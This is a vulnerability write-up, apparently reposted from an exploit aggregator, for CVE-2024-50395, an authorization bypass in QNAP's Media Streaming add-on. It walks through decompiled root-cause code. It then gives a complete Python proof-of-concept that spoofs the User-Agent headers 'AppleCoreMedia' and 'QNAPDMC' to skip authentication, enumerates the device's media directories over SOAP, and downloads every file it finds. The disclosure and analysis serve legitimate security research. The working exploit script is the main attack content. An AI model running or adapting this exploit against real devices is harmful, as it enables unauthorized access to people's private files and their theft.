Share
## https://sploitus.com/exploit?id=0DC65EE5-3CC4-50E3-88A0-AB059A1F8951
# CVE-2024-50395
## CVE Info
An authorization bypass through user-controlled key vulnerability has been reported to affect Media Streaming add-on. If exploited, the vulnerability could allow local network attackers to gain privilege. We have already fixed the vulnerability in the following version: Media Streaming add-on 500.1.1.6 ( 2024/08/02 ) and later
## PoC GIF
![PoC.gif](./assets/PoC.gif)
## Root Cause
### GET Method Authorization Bypass
The Function FUN_001293f0 in Ghidra, that maybe called ParseHttpHeaders function in original source code, parse http header data from requests by client.
That function also parse âUser-Agentâ and get value.
```c
iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
pcVar6 = strstr((char *)__s,"Twonky");
if ((pcVar6 == (char *)0x0) &&
(pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
(lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
lVar14 != 0)) {
ppuVar10 = __ctype_b_loc();
do {
puVar9 = puVar9 + 1;
} while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
0x20) != 0);
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
```
At that time, if âUser-Agentâ value is âAppleCoreMediaâ, below codes executed.
```c
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
```
And then goto LAB_00129aba1
```c
LAB_00129ab1:
myDebugUtilWrapperPrint
(uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
,lVar12);
LAB_00129abb:
lVar14 = *(long *)(param_1 + 0x20);
uVar8 = (ulong)*(uint *)(param_1 + 0x30);
}
```
Then, below codes executed
```c
LAB_00129627:
for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
}
__s = __s + 2;
} while (__s < (uchar *)((int)uVar8 + lVar14));
}
if (local_138 < 0) {
local_138 = g_DefaultClientTypeId;
}
}
iVar4 = local_138;
pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
myDebugUtilWrapperPrint
(5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
"finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
local_174 = local_174 | *(uint *)(param_1 + 0x88);
*(int *)(param_1 + 0x38) = local_138;
bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
bVar26 = ppbVar17 == (byte **)0x0;
*(uint *)(param_1 + 0x88) = local_174;
lVar14 = 8;
*(uint *)(param_1 + 0xa4) = local_130;
*(int *)(param_1 + 0xa8) = local_13c;
*(int *)(param_1 + 0xac) = local_134;
pbVar19 = *ppbVar17;
pbVar21 = (byte *)"AppleTV";
/*
omited...
*/
uVar15 = 0;
if ((local_174 & 0x100) == 0) goto LAB_001298c4;
```
Focus on the code that is `uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4;`
if User-Agent value is âAppleCoreMediaâ, That code could be executed.
So The function FUN_001293f0 return 0 value.
That Function is called in FUN_001411f0, running ****like a routing function, when the return value is 0,
FUN_001411f0 doesnât execute any Functions that send http 401 errorcode. (âDeny Accessâ)
(The Function FUN_001411f0 is maybe called ProcessHTTPSubscribe in original souce code.)
## POST Method
The Client Type "QNAPDMCâ is initialized in Funtion âInsertQNAPClientTypeâ. (That Funtion is called in main)
And in that Function, the Variable g_QNAPDMCClientTypeId is initialized.
When a client use http POST method, The main processing Function is FUN_0012ee50.
```c
uVar21 = 1;
myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
;
/* DAT_001690a2 is "POST" */
lVar11 = 5;
pbVar13 = &DAT_001690a2;
pbVar14 = local_298;
do {
if (lVar11 == 0) break;
lVar11 = lVar11 + -1;
uVar19 = *pbVar13 < *pbVar14;
uVar21 = *pbVar13 == *pbVar14;
pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
} while ((bool)uVar21);
if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
param_1[0xd] = 2;
FUN_0012ee50(param_1);
goto exit;
}
```
if request header has âSoapactionâ, Function ExecuteSoapAction is executed.
(*(long *)(param_1 + 0x10) value was setted in FUN_001293f0 )
```c
if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
param_1[3] = 1;
return (ulong)(param_1[10] - param_1[0xc]);
}
if (*(long *)(param_1 + 0x10) != 0) {
uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
return uVar2;
}
```
In ExecuteSoapAction, if (*(int *)(param_1 + 0x38) is same as g_QNAPDMCClientTypeId, We can bypass Authorization.
```c
if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
if (n_lan_addr < 1) {
LAB_0014a27f:
pcVar6 = "Deny Access";
goto LAB_0014a3dd;
}
if (DAT_00398a90 != *(int *)(param_1 + 4)) {
puVar3 = &lan_addr;
do {
if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
piVar1 = (int *)(puVar3 + 0x2c);
puVar3 = puVar3 + 0x1c;
} while (*piVar1 != *(int *)(param_1 + 4));
}
}
pcVar6 = strchr(param_2,0x23);
```
The variable (*(int *)(param_1 + 0x38) is initialized in FUN_001293f0 by using âUser-Agentâ.
So We can bypass Authorization, using request header âUser-Agent: AppleCoreMedia, User-Agent: QNAPDMCâ.
## Exploit
```python
#!/usr/bin/python3
# POC.py
import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse
from xml.dom.minidom import parseString
#from tqdm import tqdm
log = lambda x: print("\033[31m[+]" + "\033[37m"+x)
HOST = 'http://{0}:{1}'
session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}
def makedirs(path):
if not os.path.exists(path):
os.makedirs(path)
#
# GET TARGET INFO
#
def get_rootDesc(sess:requests.Session):
res = sess.get(url=f"{HOST}/rootDesc.xml", headers=auth_bypass_header)
obj = parseString(html.unescape(res.text))
NAME = obj.getElementsByTagName('friendlyName')[0].firstChild.nodeValue
MODEL = obj.getElementsByTagName('av:MODEL')[0].firstChild.nodeValue
VERSION = obj.getElementsByTagName('av:VERSION')[0].firstChild.nodeValue
log(f"TARGET NAME: {NAME}")
log(f"TARGET MODEL: {MODEL}")
log(f"TARGET QTS VERSION: {VERSION}")
#
# This Function Search Directory And Download All Files
#
def exploit(sess:requests.Session):
header = auth_post_bypass_header.copy()
header['Soapaction'] = "urn:schemas-upnp-org:service:ContentDirectory:1:#Browse"
pay = """<?xml version="1.0" encoding="utf-8" standalone="yes"?>"""
pay += """<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">"""
pay += """<s:Body><u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:{0}">"""
pay += """<ObjectID>{1}</ObjectID>"""
pay += """<BrowseFlag>BrowseDirectChildren</BrowseFlag>"""
pay += """</u:Browse></s:Body></s:Envelope>"""
res = sess.post(url=HOST, headers=header, data=pay.format(0, 0))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
keys1 = {}
for ee in element:
dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
log(f"FIND: {dir_name}")
keys1[dir_name] = ee.getAttribute("id")
keys2 = []
for k,v in keys1.items():
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(v, v))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
for ee in element:
dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {dir_name}")
keys2.append([v, dir_name, ee.getAttribute("id")])
keys3 = []
for k in keys2:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
keys3.append([v, file_name, ee.getAttribute("id")])
keys4 = []
deps_key = []
for k in keys3:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('item')
element2 = obj.getElementsByTagName('container')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
keys4.append([v, file_name, url, url.split("ext=")[1]])
for ee in element2:
deps_key.append(ee.getAttribute("id"))
for k in deps_key:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('item')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
keys4.append([v, file_name, url, url.split("ext=")[1]])
makedirs('./Downloaded')
for k in keys4:
if "Transcode" in k[-2]:
k[-2] = k[-2].replace("Transcode", "MediaItems")
RETRY = []
for k in keys4:
URL = k[-2]
res = sess.get(url=URL, headers=auth_bypass_header)
if len(res.content) <= 0:
RETRY.append([k[1]+k[-1], k[-2]])
log(f'FAILED: {k[1]+k[-1]}')
continue
with open(f"./Downloaded/{k[1]+k[-1]}", 'wb') as f:
f.write(res.content)
log(f"SUCCESS DOWNLOAD FILE {k[1]+k[-1]}")
for rr in RETRY:
res = sess.head(url=rr[1], headers=auth_bypass_header)
print(rr[1])
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='')
parser.add_argument('--target', required=True, help='TRAGET ADDRESS')
parser.add_argument('--port', required=False, default='8200', help='TARGET PORT\ndefault value is 8200')
args = parser.parse_args()
HOST = HOST.format(args.target, args.port)
get_rootDesc(session)
exploit(session)
```